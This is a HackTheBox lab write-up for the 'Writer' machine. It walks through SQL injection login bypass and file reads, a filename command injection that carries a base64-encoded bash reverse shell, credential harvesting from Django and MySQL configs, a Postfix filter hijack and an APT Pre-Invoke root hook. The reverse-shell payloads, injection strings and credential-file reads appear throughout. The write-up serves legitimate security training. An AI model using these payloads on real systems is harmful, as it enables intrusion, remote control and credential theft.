HTB Writer (Medium) - Writeup
Difficulty: Medium
Writer was a cool and challenging box that required digging into source code, SQL injection, and chaining a few clever tricks to get root.
I started with an SQL injection that allowed both authentication bypass and file read, which exposed the application’s source code.
From there, I exploited a command injection vulnerability in the image upload functionality by chaining local file access with a manipulated filename.
With a shell as www-data, I extracted Django credentials, cracked a user hash, and pivoted to kyle.
Privilege escalation to john was achieved by injecting a reverse shell into a Postfix mail filter script and triggering it via SMTP.
Finally, I abused write access to an APT config file to escalate to root through a cron-executed apt-get hook.
Nmap
The nmap scan revealed four open ports:
Port 445 - SMB
When I encounter SMB or FTP, I usually start my enumeration there by checking for anonymous or guest login.
For smb it can be done with netexec tool:
nxc smb 10.10.11.101 -u 'a' -p ''
It worked let’s check shares now:
nxc smb 10.10.11.101 -u 'a' -p '' --shares
Unfortunately, no shares were accessible, so I moved on to enumerating the HTTP service.
Port 80 - Website
I’ll add writer.htb to /etc/hosts
on “About” page we found an email:
- admin@writer.htb
There is also contact page but it doesn’t work.
Next, I performed subdomain fuzzing using wfuzz, but it didn’t yield any results:
After that I did directory busting with wfuzz:
It has found /administrative directory.
It contains a login page:
First I tried brute-forcing with hydra - didn’t work:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.11.101 http-post-form "/administrative:username=^USER^&password=^PASS^:Incorrect credentials"
It turned out that simple sql injection worked for authentication bypass.
Username field was injectable:
' or 1=1-- -
We get logged in.
I tried uploading an image with webshell but it didn’t work.
Exploitation with Sqlmap
Then I changed approach and came back to sql injection.
We’ve ran sqlmap on username parameter.
First we need to catch login request with burpsuite:
Then we ran sqlmap:
From there it’s a standard workflow - discover database name, then table names, then dump specific table:
sqlmap -r req.txt --dbs --batch
Now we want to find table names in “Writer” database:
sqlmap -r req.txt -D writer --tables --batch
Users table will most likely contain password hash which is a thing of interest ofc.
+----+------------------+----------+----------------------------------+----------+--------------+
| id | email | status | password | username | date_created |
+----+------------------+----------+----------------------------------+----------+--------------+
| 1 | admin@writer.htb | Active | 118e48794631a9612484ca8b55f622d0 | admin | NULL |
+----+------------------+----------+----------------------------------+----------+--------------+
sqlmap -r req.txt -D writer -T users --dump --batch
Unfortunately this hash is uncrackable.
It could be done manually too of course, here’s how to do it:
uname=test' UNION select 1,password,3,4,5,6 from users-- -&password=test
SQL - privileges and file read
With sqlmap we can also check privileges, syntax is as follows:
sqlmap -r req.txt --privileges
We have “FILE” privilege.
It allows us to write and read files.
I tried to write a file but that didn’t work, let’s try reading a file.
Payload is as follows:
uname=test' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6 -- -&password=test
Then I tried to look for low hanging fruits which are ssh keys of each “real” user.
It didn’t work, meaning we have to enumerate the system.
From nmap we know that the website runs apache2.
We can try to look for apache config files:
- /etc/apache2/apache2.conf (nothing intresting)
- /etc/apache2/sites-available/000-default.conf
I’ll paste the second file here:
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
It gave us .wsgi file path, this is the next thing we’re going to view:
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
The important line is:
- from writer import app as application
It means that there is likely “writer” directory and init.py in it, let’s view that:
/var/www/writer.htb/writer/__init__.py
I’ll paste here only the intresting part:
# Image URL handling
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if image_url.endswith('.jpg'):
try:
local_filename, _ = urllib.request.urlretrieve(image_url)
os.system(f"mv {local_filename} {local_filename}.jpg")
image_path = f"{local_filename}.jpg"
try:
im = Image.open(image_path)
im.verify()
im.close()
image_path = image_path.replace('/tmp/', '')
os.system(f"mv /tmp/{image_path} /var/www/writer.htb/writer/static/img/{image_path}")
image_path = f"/img/{image_path}"
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s;", {'image': image_path, 'id': id})
connector.commit()
except UnidentifiedImageError:
os.system(f"rm {image_path}")
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
Reading through this part of the code I believe we can inject commands into the filename.
We need to go to /dashboard/stories/add and catch a request with burp:
We need to use image_url as specified in the code.
In order to exploit it we need to create a file called:
shell.jpg;echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDAwICAwPiYxCg== | base64 -d | bash;
This base64 part is our reverse shell.
It can be done with touch:
touch -- 'shell.jpg;echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDAwICAwPiYxCg== | base64 -d | bash;'
Now upload it the normal way:
Then come back to burpsuite and add this line under image_url parameter:
file:///var/www/writer.htb/writer/static/img/shell.jpg;echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDAwICAwPiYxCg== | base64 -d | bash;
We got a connection back!
Priv Esc 1
In /var/www there are three directories:
- html
- writer.htb
- writer2_project
html is empty, writer.htb has the source code we already viewed, let’s check writer2_project:
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'q2!1iwm^9jlx@4u66k(ke!_=(5uacvl@%%(g&6=$$m1u5n=*4-'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ['127.0.0.1']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django.contrib.humanize',
'writer_web'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'writerv2.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'writerv2.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {
'read_default_file': '/etc/mysql/my.cnf',
},
}
}
# Password validation
# https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.10/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),
)
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
I’ll paste the important lines here:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {
'read_default_file': '/etc/mysql/my.cnf',
},
}
}
It means that there is a second database and there is also a path to config file, let’s view it:
www-data@writer:/var/www/writer2_project/writerv2$ cat /etc/mysql/my.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
We found credentials for “dev” database:
- djangouser:DjangoSuperPassword
We can connect with this command and paste the password:
mysql -u djangouser -p
Let’s take a look at the tables that exist in this db:
We can now use “describe” command on the intresting table and then view it:
To crack this hash we can use hashcat’s mode 10000:
It cracked:
- kyle:marcoantonio
Now we’re able to connect via ssh and retrieve the flag:
Priv Esc to john
After some quick enumeration I found an intresting looking group:
Let’s check what can we run as this group member:
find / -group filter 2>/dev/null
We got two results:
- /etc/postfix/disclaimer
- /var/spool/filter
On hacktricks there is a post about postfix:
"Usually, if installed, in /etc/postfix/master.cf contains scripts to execute when for example a new mail is receipted by a user.
For example the line flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} means that /etc/postfix/filtering will be executed if a new mail is received by the user mark."
Let’s check master.cf on our file:
cat /etc/postfix/master.cf
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
It will execute “disclaimer” as user john when a new mail is recieved.
Luckily we own disclaimer binary, meaning we can just add a revshell there and send a mail and it will execute as john.
To send a mail we will connect to port 25 on localhost:
nc 127.0.0.1 25
Those are all the command we will paste one by one:
HELO writer.htb
mail from: r00ter@writer.htb
RCPT TO: root@writer.htb
DATA
Subject: shell
revshell
.
quit
I believe that recipient has to be an existing account.
We had to be quick becasue disclaimer script cleans itself every 2 minutes or so.
For a simpler access we will add ssh key, first we need to generate one:
And then add it:
As result we can connect with private key via ssh:
Priv Esc to root
Again we’re in an interesting group:
We own apt config file meaning we could change it, but we still can’t run apt-get to execute anything as root.
But maybe it runs as a cron job, I’ll run pspy64 and wait for any crons: (it can be found on github)
./pspy64
There is one:
/usr/bin/apt-get update
Looking at gtfobins we see a way to execute commands with it:
https://gtfobins.github.io/gtfobins/apt-get/
It normally can be done like that:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
But we can also put this line in a config file:
APT::Update::Pre-Invoke::=/bin/sh
I will put base64 encoded reverse shell in there:
APT::Update::Pre-Invoke {"echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDA1ICAwPiYxCg== |base64 -d |bash"};
After that we start a listener and wait for cron to run:
Thanks for reading!